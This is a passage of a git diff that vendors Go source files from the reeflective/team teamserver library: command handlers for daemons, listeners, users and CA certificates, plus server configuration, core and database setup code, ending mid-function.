Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io/fs" + "os" + "path/filepath" + "runtime/debug" + "strconv" + "strings" + + "github.com/jedib0t/go-pretty/v6/table" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/internal/log" + "github.com/reeflective/team/internal/systemd" + "github.com/reeflective/team/server" +) + +func daemoncmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, _ []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + lhost, err := cmd.Flags().GetString("host") + if err != nil { + return fmt.Errorf("Failed to get --host flag: %w", err) + } + + lport, err := cmd.Flags().GetUint16("port") + if err != nil { + return fmt.Errorf("Failed to get --port (%d) flag: %w", lport, err) + } + + // Also written to logs in the teamserver code. + defer func() { + if r := recover(); r != nil { + fmt.Fprintf(cmd.OutOrStdout(), "stacktrace from panic: \n"+string(debug.Stack())) + } + }() + + // cli args take precedence over config (this is here for status printing purposes) + if lhost == "" { + lhost = serv.GetConfig().DaemonMode.Host + } + + if lport == 0 { + lport = uint16(serv.GetConfig().DaemonMode.Port) + } + + fmt.Fprintf(cmd.OutOrStdout(), "Starting %s teamserver daemon on %s:%d ...\n", serv.Name(), lhost, lport) + + // Blocking call, your program will only exit/resume on Ctrl-C/SIGTERM + return serv.ServeDaemon(lhost, lport) + } +} + +func startListenerCmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, _ []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + lhost, _ := cmd.Flags().GetString("host") + lport, _ := cmd.Flags().GetUint16("port") + persistent, _ := cmd.Flags().GetBool("persistent") + ltype, _ := cmd.Flags().GetString("listener") + + _, err := serv.ServeAddr(ltype, lhost, lport) + if err == nil { + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Teamserver listener started on %s:%d\n", lhost, lport) + + if persistent { + serv.ListenerAdd(ltype, lhost, lport) + } + } else { + return fmt.Errorf(command.Warn+"Failed to start job %w", err) + } + + return nil + } +} + +func closeCmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + listeners := serv.Listeners() + cfg := serv.GetConfig() + + for _, arg := range args { + if arg == "" { + continue + } + + for _, ln := range listeners { + if strings.HasPrefix(ln.ID, arg) { + err := serv.ListenerClose(arg) + if err != nil { + fmt.Fprintln(cmd.ErrOrStderr(), command.Warn, err) + } else { + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Closed %s listener (%s) [%s]\n", ln.Name, formatSmallID(ln.ID), ln.Description) + } + } + } + } + + for _, arg := range args { + if arg == "" { + continue + } + + for _, saved := range cfg.Listeners { + if strings.HasPrefix(saved.ID, arg) { + serv.ListenerRemove(saved.ID) + id := formatSmallID(saved.ID) + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Deleted %s listener (%s) from saved jobs\n", saved.Name, id) + + continue + } + } + } + } +} + +func systemdConfigCmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, _ []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + config := systemd.NewDefaultConfig() + + userf, _ := cmd.Flags().GetString("user") + if userf != "" { + config.User = userf + } + + binPath, _ := cmd.Flags().GetString("binpath") + if binPath != "" { + config.Binpath = binPath + } + + host, hErr := cmd.Flags().GetString("host") + if hErr != nil { + return hErr + } + + port, pErr := cmd.Flags().GetUint16("port") + if pErr != nil { + return pErr + } + + // The last argument is the systemd command: + // its parent is the teamserver one, to which + // should be attached the daemon command. + daemonCmd, _, err := cmd.Parent().Find([]string{"daemon"}) + if err != nil { + return fmt.Errorf("Failed to find teamserver daemon command in tree: %w", err) + } + + config.Args = append(callerArgs(cmd.Parent()), daemonCmd.Name()) + if len(config.Args) > 0 && binPath != "" { + config.Args[0] = binPath + } + + if host != "" { + config.Args = append(config.Args, strings.Join([]string{"--host", host}, " ")) + } + + if port != 0 { + config.Args = append(config.Args, strings.Join([]string{"--port", strconv.Itoa(int(port))}, " ")) + } + + systemdConfig := systemd.NewFrom(serv.Name(), config) + fmt.Fprint(cmd.OutOrStdout(), systemdConfig) + + return nil + } +} + +func statusCmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, _ []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + cfg := serv.GetConfig() + + dbCfg := serv.DatabaseConfig() + + database := fmt.Sprintf("%s - %s [%s:%d] ", dbCfg.Dialect, dbCfg.Database, dbCfg.Host, dbCfg.Port) + + // General options, in-memory, default port, config path, database, etc + fmt.Fprintln(cmd.OutOrStdout(), formatSection("General")) + fmt.Fprint(cmd.OutOrStdout(), displayGroup([]string{ + "Home", serv.HomeDir(), + "Port", strconv.Itoa(cfg.DaemonMode.Port), + "Database", database, + "Config", serv.ConfigPath(), + })) + + // Logging files/level/status + fakeLog := serv.NamedLogger("", "") + + fmt.Fprintln(cmd.OutOrStdout(), formatSection("Logging")) + fmt.Fprint(cmd.OutOrStdout(), displayGroup([]string{ + "Level", fakeLog.Logger.Level.String(), + "Root", log.FileName(filepath.Join(serv.LogsDir(), serv.Name()), true), + "Audit", filepath.Join(serv.LogsDir(), "audit.json"), + })) + + // Certificate files. + certsPath := serv.CertificatesDir() + if dir, err := os.Stat(certsPath); err == nil && dir.IsDir() { + files, err := fs.ReadDir(os.DirFS(certsPath), ".") + if err == nil || len(files) > 0 { + fmt.Fprintln(cmd.OutOrStdout(), formatSection("Certificate files")) + + for _, file := range files { + fmt.Fprintln(cmd.OutOrStdout(), filepath.Join(certsPath, file.Name())) + } + } + } + + // Listeners + listenersTable := listenersTable(serv, cfg) + + if listenersTable != "" { + fmt.Fprintln(cmd.OutOrStdout(), formatSection("Listeners")) + fmt.Fprintln(cmd.OutOrStdout(), listenersTable) + } + } +} + +func listenersTable(serv *server.Server, cfg *server.Config) string { + listeners := serv.Listeners() + + tbl := &table.Table{} + tbl.SetStyle(command.TableStyle) + + tbl.AppendHeader(table.Row{ + "ID", + "Name", + "Description", + "State", + "Persistent", + }) + + for _, listener := range listeners { + persist := false + + for _, saved := range cfg.Listeners { + if saved.ID == listener.ID { + persist = true + } + } + + tbl.AppendRow(table.Row{ + formatSmallID(listener.ID), + listener.Name, + listener.Description, + command.Green + command.Bold + "Up" + command.Normal, + persist, + }) + } + +next: + for _, saved := range cfg.Listeners { + + for _, ln := range listeners { + if saved.ID == ln.ID { + continue next + } + } + + tbl.AppendRow(table.Row{ + formatSmallID(saved.ID), + saved.Name, + fmt.Sprintf("%s:%d", saved.Host, saved.Port), + command.Red + command.Bold + "Down" + command.Normal, + true, + }) + } + + if len(listeners) > 0 { + return tbl.Render() + } + + return "" +} + +func fieldName(name string) string { + return command.Blue + command.Bold + name + command.Normal +} + +func callerArgs(cmd *cobra.Command) []string { + var args []string + + if cmd.HasParent() { + args = callerArgs(cmd.Parent()) + } + + args = append(args, cmd.Name()) + + return args +} + +func formatSection(msg string, args ...any) string { + return "\n" + command.Bold + command.Orange + fmt.Sprintf(msg, args...) + command.Normal +} + +// formatSmallID returns a smallened ID for table/completion display. +func formatSmallID(id string) string { + if len(id) <= 8 { + return id + } + + return id[:8] +} + +func displayGroup(values []string) string { + var maxLength int + var group string + + // Get the padding for headers + for i, head := range values { + if i%2 != 0 { + continue + } + + if len(head) > maxLength { + maxLength = len(head) + } + } + + for i := 0; i < len(values)-1; i += 2 { + field := values[i] + value := values[i+1] + + headName := fmt.Sprintf("%*s", maxLength, field) + fieldName := command.Blue + command.Bold + headName + command.Normal + " " + group += fmt.Sprintf("%s: %s\n", fieldName, value) + } + + return group +} diff --git a/vendor/github.com/reeflective/team/server/commands/user.go b/vendor/github.com/reeflective/team/server/commands/user.go new file mode 100644 index 0000000000..92b6f895a2 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/user.go @@ -0,0 +1,216 @@ +package commands + +import ( + "encoding/json" + "fmt" + "os" + "os/user" + "path/filepath" + "strings" + + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/server" +) + +func createUserCmd(serv *server.Server, cli *client.Client) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, _ []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + name, _ := cmd.Flags().GetString("name") + lhost, _ := cmd.Flags().GetString("host") + lport, _ := cmd.Flags().GetUint16("port") + save, _ := cmd.Flags().GetString("save") + system, _ := cmd.Flags().GetBool("system") + + if save == "" { + save, _ = os.Getwd() + } + + var filename string + var saveTo string + + if system { + user, err := user.Current() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to get current OS user: %s\n", err) + return + } + + name = user.Username + filename = fmt.Sprintf("%s_%s_default", serv.Name(), user.Username) + saveTo = cli.ConfigsDir() + + err = os.MkdirAll(saveTo, assets.DirPerm) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"cannot write to %s root dir: %s\n", saveTo, err) + return + } + } else { + saveTo, _ = filepath.Abs(save) + userFile, err := os.Stat(saveTo) + if !os.IsNotExist(err) && !userFile.IsDir() { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"File already exists %s\n", err) + return + } + + if !os.IsNotExist(err) && userFile.IsDir() { + filename = fmt.Sprintf("%s_%s", filepath.Base(name), filepath.Base(lhost)) + } + } + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Generating new client certificate, please wait ... \n") + + config, err := serv.UserCreate(name, lhost, lport) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"%s\n", err) + return + } + + configJSON, err := json.Marshal(config) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"JSON marshaling error: %s\n", err) + return + } + + saveTo = filepath.Join(saveTo, filename+".teamclient.cfg") + + err = os.WriteFile(saveTo, configJSON, assets.FileReadPerm) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to write config to %s: %s\n", saveTo, err) + return + } + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Saved new client config to: %s\n", saveTo) + } +} + +func rmUserCmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + user := args[0] + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Removing client certificate(s)/token(s) for %s, please wait ... \n", user) + + err := serv.UserDelete(user) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to remove the user certificate: %v\n", err) + return + } + + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"User %s has been deleted from the teamserver, and kicked out.\n", user) + } +} + +func importCACmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + load := args[0] + + fi, err := os.Stat(load) + if os.IsNotExist(err) || fi.IsDir() { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Cannot load file %s\n", load) + } + + data, err := os.ReadFile(load) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Cannot read file: %v\n", err) + } + + // CA - Exported CA format + type CA struct { + Certificate string `json:"certificate"` + PrivateKey string `json:"private_key"` + } + + importCA := &CA{} + err = json.Unmarshal(data, importCA) + + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Failed to parse file: %s\n", err) + } + + cert := []byte(importCA.Certificate) + key := []byte(importCA.PrivateKey) + serv.UsersSaveCA(cert, key) + } +} + +func exportCACmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + var save string + if len(args) == 1 { + save = args[0] + } + + if strings.TrimSpace(save) == "" { + save, _ = os.Getwd() + } + + certificateData, privateKeyData, err := serv.UsersGetCA() + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Error reading CA %s\n", err) + return + } + + // CA - Exported CA format + type CA struct { + Certificate string `json:"certificate"` + PrivateKey string `json:"private_key"` + } + + exportedCA := &CA{ + Certificate: string(certificateData), + PrivateKey: string(privateKeyData), + } + + saveTo, _ := filepath.Abs(save) + + caFile, err := os.Stat(saveTo) + if !os.IsNotExist(err) && !caFile.IsDir() { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"File already exists: %s\n", err) + return + } + + if !os.IsNotExist(err) && caFile.IsDir() { + filename := fmt.Sprintf("%s-%s.teamserver.ca", serv.Name(), "users") + saveTo = filepath.Join(saveTo, filename) + } + + data, _ := json.Marshal(exportedCA) + + err = os.WriteFile(saveTo, data, assets.FileWritePerm) + if err != nil { + fmt.Fprintf(cmd.ErrOrStderr(), command.Warn+"Write failed: %s (%s)\n", saveTo, err) + return + } + } +} diff --git a/vendor/github.com/reeflective/team/server/config.go b/vendor/github.com/reeflective/team/server/config.go new file mode 100644 index 0000000000..28a5ffbc23 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/config.go @@ -0,0 +1,204 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/hex" + "encoding/json" + "fmt" + insecureRand "math/rand" + "os" + "path/filepath" + "time" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/command" + "github.com/sirupsen/logrus" +) + +const ( + blankHost = "-" + blankPort = uint16(0) + tokenLength = 32 + defaultPort = 31416 // Should be 31415, but... go to hell with limits. +) + +// Config represents the configuration of a given application teamserver. +// It contains anonymous embedded structs as subsections, for logging, +// daemon mode bind addresses, and persistent teamserver listeners +// +// Its default path is ~/.app/teamserver/configs/app.teamserver.cfg. +// It uses the following default values: +// - Daemon host: "" +// - Daemon port: 31416 +// - logging file level: Info. +type Config struct { + // When the teamserver command `app teamserver daemon` is executed + // without --host/--port flags, the teamserver will use the config. + DaemonMode struct { + Host string `json:"host"` + Port int `json:"port"` + } `json:"daemon_mode"` + + // Logging controls the file-based logging level, whether or not + // to log TLS keys to file, and whether to log specific gRPC payloads. + Log struct { + Level int `json:"level"` + GRPCUnaryPayloads bool `json:"grpc_unary_payloads"` + GRPCStreamPayloads bool `json:"grpc_stream_payloads"` + TLSKeyLogger bool `json:"tls_key_logger"` + } `json:"log"` + + // Listeners is a list of persistent teamserver listeners. + // They are started when the teamserver daemon command/mode is. + Listeners []struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + } `json:"listeners"` +} + +// ConfigPath returns the path to the server config.json file, on disk or in-memory. +func (ts *Server) ConfigPath() string { + appDir := ts.ConfigsDir() + + err := ts.fs.MkdirAll(appDir, assets.DirPerm) + if err != nil { + ts.log().Errorf("cannot write to %s config dir: %s", appDir, err) + } + + serverConfigPath := filepath.Join(appDir, fmt.Sprintf("%s.%s", ts.Name(), command.ServerConfigExt)) + + return serverConfigPath +} + +// GetConfig returns the team server configuration as a struct. +// If no server configuration file is found on disk, the default one is used. +func (ts *Server) GetConfig() *Config { + cfgLog := ts.NamedLogger("config", "server") + + if ts.opts.inMemory { + return ts.opts.config + } + + configPath := ts.ConfigPath() + if _, err := os.Stat(configPath); !os.IsNotExist(err) { + cfgLog.Debugf("Loading config from %s", configPath) + + data, err := os.ReadFile(configPath) + if err != nil { + cfgLog.Errorf("Failed to read config file %s", err) + return ts.opts.config + } + + err = json.Unmarshal(data, ts.opts.config) + if err != nil { + cfgLog.Errorf("Failed to parse config file %s", err) + return ts.opts.config + } + } else { + cfgLog.Warnf("Teamserver: no config file found, using and saving defaults") + } + + if ts.opts.config.Log.Level < 0 { + ts.opts.config.Log.Level = 0 + } + + if int(logrus.TraceLevel) < ts.opts.config.Log.Level { + ts.opts.config.Log.Level = int(logrus.TraceLevel) + } + + // This updates the config with any missing fields + err := ts.SaveConfig(ts.opts.config) + if err != nil { + cfgLog.Errorf("Failed to save default config %s", err) + } + + return ts.opts.config +} + +// SaveConfig saves config file to disk. +// This uses the on-disk filesystem even if the teamclient is in memory mode. +func (ts *Server) SaveConfig(cfg *Config) error { + cfgLog := ts.NamedLogger("config", "server") + + if ts.opts.inMemory { + return nil + } + + configPath := ts.ConfigPath() + configDir := filepath.Dir(configPath) + + if _, err := os.Stat(configDir); os.IsNotExist(err) { + cfgLog.Debugf("Creating config dir %s", configDir) + + err := os.MkdirAll(configDir, assets.DirPerm) + if err != nil { + return ts.errorf("%w: %w", ErrConfig, err) + } + } + + data, err := json.MarshalIndent(cfg, "", " ") + if err != nil { + return err + } + + cfgLog.Debugf("Saving config to %s", configPath) + + err = os.WriteFile(configPath, data, assets.FileReadPerm) + if err != nil { + return ts.errorf("%w: failed to write config: %s", ErrConfig, err) + } + + return nil +} + +func getDefaultServerConfig() *Config { + return &Config{ + DaemonMode: struct { + Host string `json:"host"` + Port int `json:"port"` + }{ + Port: defaultPort, // 31416 + }, + Log: struct { + Level int `json:"level"` + GRPCUnaryPayloads bool `json:"grpc_unary_payloads"` + GRPCStreamPayloads bool `json:"grpc_stream_payloads"` + TLSKeyLogger bool `json:"tls_key_logger"` + }{ + Level: int(logrus.InfoLevel), + }, + Listeners: []struct { + Name string `json:"name"` + Host string `json:"host"` + Port uint16 `json:"port"` + ID string `json:"id"` + }{}, + } +} + +func getRandomID() string { + seededRand := insecureRand.New(insecureRand.NewSource(time.Now().UnixNano())) + buf := make([]byte, tokenLength) + seededRand.Read(buf) + + return hex.EncodeToString(buf) +} diff --git a/vendor/github.com/reeflective/team/server/core.go b/vendor/github.com/reeflective/team/server/core.go new file mode 100644 index 0000000000..ea9f9a745e --- /dev/null +++ b/vendor/github.com/reeflective/team/server/core.go @@ -0,0 +1,243 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os/user" + "path/filepath" + "runtime" + "sync" + + "github.com/reeflective/team" + "github.com/reeflective/team/client" + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/certs" + "github.com/reeflective/team/internal/db" + "github.com/reeflective/team/internal/version" + "github.com/sirupsen/logrus" + "gorm.io/gorm" +) + +// Server is the core driver of an application teamserver. +// It is the counterpart to and plays a similar role than that +// of the team/client.Client type, ie. that it provides tools +// to any application/program to become a teamserver of itself. +// +// The server object can run on its own, without any teamclient attached +// or connected: it fulfills the reeflective/team.Client interface, and +// any teamserver can also be a client of itself, without configuration. +// +// The core job of the Server is to, non-exhaustively: +// - Store and manage a list of users with a zero-trust identity system +// (ie. public-key based), with ways to import/export these lists. +// - Register, start and control teamserver listener/server stacks, for +// many application clients to connect and consume the teamserver app. +// - Offer version and user information to all teamclients. +// +// Additionally and similarly to the team/client.Client, it gives: +// - Pre-configured loggers that listener stacks and server consumers +// can use at any step of their application. +// - Various options to configure its backends and behaviors. +// - A builtin, app-specific abstracted filesystem (in-memory or on-disk). +// - Additionally, an API to further register and control listeners. +// +// Various combinations of teamclient/teamserver usage are possible. +// Please see the Go module example/ directory for a list of them. +type Server struct { + // Core + name string // Name of the application using the teamserver. + homeDir string // APP_ROOT_DIR var, evaluated once when creating the server. + opts *opts // Server options + fs *assets.FS // Server filesystem, on-disk or embedded + initOpts sync.Once // Some options can only be set once when creating the server. + + // Logging + fileLog *logrus.Logger // Can be in-memory if the teamserver is configured. + stdioLog *logrus.Logger // Logging level independent from the file logger. + + // Users + userTokens *sync.Map // Refreshed entirely when a user is kicked. + certs *certs.Manager // Manages all the certificate infrastructure. + db *gorm.DB // Stores certificates and users data. + dbInit sync.Once // A single database can be used in a teamserver lifetime. + + // Listeners and job control + initServe sync.Once // Some options can only have an effect at first start. + self Listener // The default listener stack used by the teamserver. + handlers map[string]Listener // Other listeners available by name. + jobs *jobs // Listeners job control +} + +// New creates a new teamserver for the provided application name. +// Only one such teamserver should be created an application of any given name. +// Since by default, any teamserver can have any number of runtime clients, you +// are not required to provide any specific server.Listener type to serve clients. +// +// This call to create the server only creates the application default directory. +// No files, logs, connections or any interaction with the os/filesystem are made. +// +// Errors: +// - All errors returned from this call are critical, in that the server could not +// run properly in its most basic state, which may happen if the teamclient cannot +// use and write to its on-disk directories/backends and log files. +// No server is returned if the error is not nil. +// - All methods of the teamserver core which return an error will always log this +// error to the various teamserver log files/output streams, so that all actions +// of teamserver can be recorded and watched out in various places. +func New(application string, options ...Options) (*Server, error) { + server := &Server{ + name: application, + opts: newDefaultOpts(), + userTokens: &sync.Map{}, + jobs: newJobs(), + handlers: make(map[string]Listener), + } + + server.apply(options...) + + // Filesystem + user, _ := user.Current() + root := filepath.Join(user.HomeDir, "."+server.name) + server.fs = assets.NewFileSystem(root, server.opts.inMemory) + + // Logging (if allowed) + if err := server.initLogging(); err != nil { + return nil, err + } + + // Ensure we have a working database configuration, + // and at least an in-memory sqlite database. + if server.opts.dbConfig == nil { + server.opts.dbConfig = server.getDefaultDatabaseConfig() + } + + if server.opts.dbConfig.Database == db.SQLiteInMemoryHost && server.db == nil { + if err := server.initDatabase(); err != nil { + return nil, server.errorf("%w: %w", ErrDatabase, err) + } + } + + return server, nil +} + +// Name returns the name of the application handled by the teamserver. +// Since you can embed multiple teamservers (one for each application) +// into a single binary, this is different from the program binary name +// running this teamserver. +func (ts *Server) Name() string { + return ts.name +} + +// Self returns a new application team/client.Client (with the same app name), +// using any provided options for client behavior. +// +// This teamclient implements by default the root team/Teamclient interface +// (directly through the server), but passing user-specific dialer stack options +// to this function and by providing the corresponding server options for your +// pair, you can use in-memory clients which will use the complete RPC stack +// of the application using this teamserver. +// See the server.Listener and client.Dialer types documentation for more. +func (ts *Server) Self(opts ...client.Options) *client.Client { + teamclient, _ := client.New(ts.Name(), ts, opts...) + + return teamclient +} + +// VersionClient implements team.Client.VersionClient() interface +// method, so that the teamserver can be a teamclient of itself. +// This simply returns the server.VersionServer() output. +func (ts *Server) VersionClient() (team.Version, error) { + return ts.VersionServer() +} + +// VersionServe returns the teamserver binary version information. +func (ts *Server) VersionServer() (team.Version, error) { + semVer := version.Semantic() + compiled, _ := version.Compiled() + + var major, minor, patch int32 + + if len(semVer) == 3 { + major = int32(semVer[0]) + minor = int32(semVer[1]) + patch = int32(semVer[2]) + } + + return team.Version{ + Major: major, + Minor: minor, + Patch: patch, + Commit: version.GitCommit(), + Dirty: version.GitDirty(), + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil +} + +// Users returns the list of users in the teamserver database, and their information. +// Any error raised during querying the database is returned, along with all users. +func (ts *Server) Users() ([]team.User, error) { + if err := ts.initDatabase(); err != nil { + return nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + usersDB := []*db.User{} + err := ts.dbSession().Find(&usersDB).Error + + users := make([]team.User, len(usersDB)) + + if err != nil && len(usersDB) == 0 { + return users, ts.errorf("%w: %w", ErrDatabase, err) + } + + for i, user := range usersDB { + users[i] = team.User{ + Name: user.Name, + LastSeen: user.LastSeen, + } + + if _, ok := ts.userTokens.Load(user.Token); ok { + users[i].Online = true + } + } + + return users, nil +} + +// Filesystem returns an abstract filesystem used by the teamserver. +// This filesystem can be either of two things: +// - By default, the on-disk filesystem, without any specific bounds. +// - If the teamserver was created with the InMemory() option, a full +// in-memory filesystem (with root `.app/`). +// +// Use cases for this filesystem might include: +// - The wish to have a fully abstracted filesystem to work for testing +// - Ensuring that the filesystem code in your application remains the +// same regardless of the underlying, actual filesystem. +// +// The type returned is currently an internal type because it wraps some +// os.Filesystem methods for working more transparently: this may change +// in the future if the Go stdlib offers write support to its new io/fs.FS. +// +// SERVER note: Runtime clients can run with the client.InMemory() option, +// without any impact on the teamserver filesystem and its behavior. +func (ts *Server) Filesystem() *assets.FS { + return ts.fs +} diff --git a/vendor/github.com/reeflective/team/server/db.go b/vendor/github.com/reeflective/team/server/db.go new file mode 100644 index 0000000000..7886e776fd --- /dev/null +++ b/vendor/github.com/reeflective/team/server/db.go @@ -0,0 +1,196 @@ +package server + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "fmt" + "os" + "path" + "path/filepath" + + "github.com/reeflective/team/internal/assets" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/internal/db" + "gorm.io/gorm" +) + +const ( + maxIdleConns = 10 + maxOpenConns = 100 +) + +// Database returns a new teamserver database session, which may not be nil: +// if no custom database backend was passed to the server at creation time, +// this database will be an in-memory one. The default is a file-based Sqlite +// database in the teamserver directory, but it might be a specific database +// passed through options. +func (ts *Server) Database() *gorm.DB { + return ts.db.Session(&gorm.Session{ + FullSaveAssociations: true, + }) +} + +// DatabaseConfig returns the server database backend configuration struct. +// If no configuration could be found on disk, the default Sqlite file-based +// database is returned, with app-corresponding file paths. +func (ts *Server) DatabaseConfig() *db.Config { + cfg, err := ts.getDatabaseConfig() + if err != nil { + return cfg + } + + return cfg +} + +// GetDatabaseConfigPath - File path to config.json. +func (ts *Server) dbConfigPath() string { + appDir := ts.ConfigsDir() + log := ts.NamedLogger("config", "database") + dbFileName := fmt.Sprintf("%s.%s", ts.Name()+"_database", command.ServerConfigExt) + databaseConfigPath := filepath.Join(appDir, dbFileName) + log.Debugf("Loading config from %s", databaseConfigPath) + + return databaseConfigPath +} + +// Save - Save config file to disk. If the server is configured +// to run in-memory only, the config is not saved. +func (ts *Server) saveDatabaseConfig(cfg *db.Config) error { + if ts.opts.inMemory { + return nil + } + + dblog := ts.NamedLogger("config", "database") + + configPath := ts.dbConfigPath() + configDir := path.Dir(configPath) + + if _, err := os.Stat(configDir); os.IsNotExist(err) { + dblog.Debugf("Creating config dir %s", configDir) + + err := os.MkdirAll(configDir, assets.DirPerm) + if err != nil { + return err + } + } + + data, err := json.MarshalIndent(cfg, "", " ") + if err != nil { + return err + } + + dblog.Debugf("Saving config to %s", configPath) + + return os.WriteFile(configPath, data, assets.FileReadPerm) +} + +// getDatabaseConfig returns a working database configuration, +// either fetched from the file system, adjusted with in-code +// options, or a default one. +// If an error happens, it is returned with a nil configuration. +func (ts *Server) getDatabaseConfig() (*db.Config, error) { + log := ts.NamedLogger("config", "database") + + // Don't fetch anything if running in-memory only. + config := ts.opts.dbConfig + if config.Database == db.SQLiteInMemoryHost { + return config, nil + } + + configPath := ts.dbConfigPath() + if _, err := os.Stat(configPath); !os.IsNotExist(err) { + data, err := os.ReadFile(configPath) + if err != nil { + return nil, fmt.Errorf("Failed to read config file %w", err) + } + + err = json.Unmarshal(data, config) + if err != nil { + return nil, fmt.Errorf("Failed to parse config file %w", err) + } + } else { + log.Warnf("Database: no config file found, using and saving defaults") + } + + if config.MaxIdleConns < 1 { + config.MaxIdleConns = 1 + } + + if config.MaxOpenConns < 1 { + config.MaxOpenConns = 1 + } + + // This updates the config with any missing fields, + // failing to save is not critical for operation. + err := ts.saveDatabaseConfig(config) + if err != nil { + 